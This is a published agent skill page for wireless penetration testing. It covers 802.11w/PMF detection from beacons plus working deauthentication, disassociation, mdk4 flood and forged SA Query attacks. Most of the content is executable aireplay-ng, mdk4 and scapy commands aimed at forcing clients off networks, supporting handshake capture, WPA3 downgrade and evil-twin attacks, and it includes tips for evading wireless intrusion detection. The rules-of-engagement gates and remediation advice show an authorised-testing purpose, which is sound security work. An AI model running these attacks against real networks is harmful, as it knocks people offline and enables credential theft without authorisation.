# Deauth Pmf

> Targeted and broadcast 802.11 deauthentication / disassociation, 802.11w/PMF posture detection, and action-frame attack variants. Reusable by wpa2-psk (handshake), wpa3-sae (downgrade), and evil-twin (roaming coercion).

- Skill: `purpleailab/deauth-pmf` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/deauth-pmf`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/deauth-pmf/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/deauth-pmf

---


# Deauth / Disassoc + 802.11w (PMF) Posture

> This is a shared-primitive skill. Most callers need it to coerce
> a single client reconnect (handshake capture or evil-twin roaming).
> The standalone deliverable is the **PMF state finding**:
> `pmf_state ∈ {disabled, optional, required}` is always worth
> documenting as a network finding regardless of whether deauth is
> needed for the attack path.

## Prerequisites

- Monitor-mode + injection-capable adapter on the target channel.
- Tools: `aircrack-ng` suite (`aireplay-ng`, `airodump-ng`), `mdk4`,
  `tshark` or `iw`.
- Deauth requires `permitted_actions: deauth_for_handshake_capture`
  in `plan/roe.json`. Broadcast deauth / DoS requires `posture=loud`.

## Step 1 — PMF state detection from beacons

Read MFPC (Management Frame Protection Capable) and MFPR (Required)
bits from the AP's RSN IE before issuing any deauth frames:

```bash
# Capture beacons for the target BSSID
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> -w /tmp/pmf_recon \
    --output-format pcap <mon-iface>
# 5–10 seconds is enough to collect multiple beacons.

# Decode RSN capabilities: MFPC + MFPR bits
tshark -r /tmp/pmf_recon-01.cap -Y "wlan.fc.type_subtype == 8" \
    -T fields \
    -e wlan.ssid \
    -e wlan_mgt.rsn.capabilities.mfpc \
    -e wlan_mgt.rsn.capabilities.mfpr \
    2>/dev/null | sort -u

# Interpretation:
# MFPC=0, MFPR=0  → PMF disabled (deauth frames accepted by all clients)
# MFPC=1, MFPR=0  → PMF optional (deauth works against clients that don't support PMF)
# MFPC=1, MFPR=1  → PMF required (deauth frames are encrypted; unprotected deauth rejected)
```

```bash
# Alternative: iw to inspect connected interface (if you have network access)
iw dev <iface> info | grep -i pmf
# or from scan results:
iw <iface> scan | grep -A 20 "<SSID>" | grep -i "protected\|pmf\|mfp"
```

**Decision based on PMF state:**

| PMF state | Deauth viable? | Action |
|---|---|---|
| `disabled` (MFPC=0) | Yes — all clients accept unprotected deauth | Proceed to Step 2 |
| `optional` (MFPC=1, MFPR=0) | Partial — clients that didn't negotiate PMF accept deauth | Proceed; note some clients may be immune |
| `required` (MFPC=1, MFPR=1) | No — all deauth rejected unless encrypted | PMKID still viable; mark deauth as blocked |

## Step 2 — Targeted single-client deauth (standard / stealth)

```bash
# Identify connected clients first
sudo airodump-ng -c <CHANNEL> --bssid <BSSID> <mon-iface>
# Bottom section shows STATION (client) MACs.

# Send a SINGLE targeted deauth frame (one reconnect trigger)
sudo aireplay-ng --deauth 1 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>

# Confirm the client reassociates and watch for the handshake in
# airodump's header: "WPA handshake: <BSSID>"
```

```bash
# Send a burst of targeted deauth (3–5 frames) if single deauth is ignored
# (e.g., client is in power-save mode or noisy RF environment)
sudo aireplay-ng --deauth 5 \
    -a <BSSID> \
    -c <CLIENT_MAC> \
    <mon-iface>
```

**OPSEC:** Targeted deauth to a single client is visible in WIDS but
low-severity. One or two frames at engagement cadence = noise. Burst
deauth (>10 frames) triggers WIDS alerts on most enterprise platforms.

## Step 3 — Broadcast deauth (posture=loud, DoS testing)

```bash
# Broadcast deauth to all clients on the AP (posture=loud only)
# This is a DoS action — confirm it is an accepted risk in RoE.
sudo aireplay-ng --deauth 0 \
    -a <BSSID> \
    <mon-iface>
# --deauth 0 = unlimited broadcast; Ctrl+C to stop.

# Broadcast disassociation variant
sudo aireplay-ng --deauth 10 \
    -a <BSSID> \
    <mon-iface>
```

**RoE gate for broadcast deauth:**

```
HARD STOP: broadcast deauth requires posture=loud AND
  plan/roe.json:permitted_actions contains "broadcast_deauth" or "dos_testing"
  This is a denial-of-service action — all clients lose connectivity.
```

## Step 4 — mdk4 beacon flood / auth flood (DoS testing)

```bash
# mdk4 deauth flood (more evasive — randomizes source MACs)
sudo mdk4 <mon-iface> d \
    -B <BSSID> \
    -c <CHANNEL>

# mdk4 auth flood (overwhelms AP's association table)
sudo mdk4 <mon-iface> a \
    -a <BSSID>

# mdk4 beacon flood (SSID pollution — interferes with scanning)
sudo mdk4 <mon-iface> b \
    -n "TargetSSID-DoS" \
    -c <CHANNEL>
```

**Note:** mdk4 beacon flood does not disconnect clients; it pollutes
the visible network list. Auth flood + deauth flood together cause
AP memory/state table exhaustion on older firmware.

## Step 5 — Unprotected action-frame attacks (PMF optional/disabled)

Where PMF is optional or disabled, non-deauth management frames (SA
Query, Channel Switch Announcement) may also be unauthenticated:

```bash
# Check for SA-Query implementation via scapy (unprotected SA-Query test)
# This tests whether the AP responds to unauthenticated SA-Query frames,
# indicating incomplete PMF implementation even when MFPC=1.
sudo python3 - << 'PYEOF'
from scapy.all import *
from scapy.layers.dot11 import *

pkt = RadioTap() / \
      Dot11(type=0, subtype=13, addr1=<CLIENT_MAC>, addr2=<SPOOF_MAC>, addr3=<BSSID>) / \
      Dot11Action(category=8) / Raw(load=b'\x01\x00\x00\x01')
# category=8 = SA Query; action 0x01 = SA Query Response
sendp(pkt, iface=<mon-iface>, count=3, inter=0.1)
PYEOF
# If the client responds without encrypted SA-Query, PMF negotiation
# is incomplete (client accepted the connection without PMF).
```

## Evidence

Always write the PMF finding:

```python
kg_add_node(
    kind="finding",
    label=f"802.11w/PMF State: {pmf_state_label} on {ssid}",
    props={
        "key": f"pmf-state::{bssid}",
        "severity": {
            "disabled": "high",
            "optional": "medium",
            "required": "info",
        }[pmf_state],
        "pmf_state": pmf_state,          # "disabled" | "optional" | "required"
        "mfpc": mfpc,                    # bool
        "mfpr": mfpr,                    # bool
        "deauth_viable": pmf_state != "required",
        "bssid": bssid,
        "ssid": ssid,
        "remediation": (
            "Set MFP=Required on the AP (MFPR=1). "
            "WPA3 mandates PMF-required by spec. "
            "WPA2 networks should be upgraded to PMF=Required."
        ),
    },
)
```

If deauth was used for handshake capture, cross-reference the
`wpa2-psk` or `wpa3-sae` skill for the resulting Credential node.

## ZFP

1. tshark output showing MFPC/MFPR bits from beacon RSN capabilities.
2. Pcap showing deauth frame(s) and client re-association (or PMF-protected rejection).
3. airodump header line "WPA handshake: <BSSID>" if deauth was for handshake capture.

## OPSEC notes

- A single targeted deauth (`--deauth 1`) is the minimum impact
  action. Prefer it over any broadcast variant.
- 802.11w PMF-required networks: deauth is cryptographically blocked.
  Do not waste frames. PMKID capture (wpa2-psk Path A) still works
  on these networks and doesn't require deauth.
- mdk4 auth flood / beacon flood are loud and persistent — immediately
  visible in any WIDS. Reserve for explicit DoS-assessment objectives.
- Regulatory: deauth is a TX operation. Confirm `iw reg get` and
  channel authorization before any transmission.

## References

- IEEE 802.11w-2009 — Management Frame Protection amendment.
- `wpa2-psk` skill — Path B (handshake capture) calls this skill for deauth.
- `wpa3-sae` skill — Path A (transition-mode downgrade) may use deauth.
- `evil-twin-karma` skill — Step 3 (roaming coercion) calls this skill.
- mdk4: github.com/aircrack-ng/mdk4

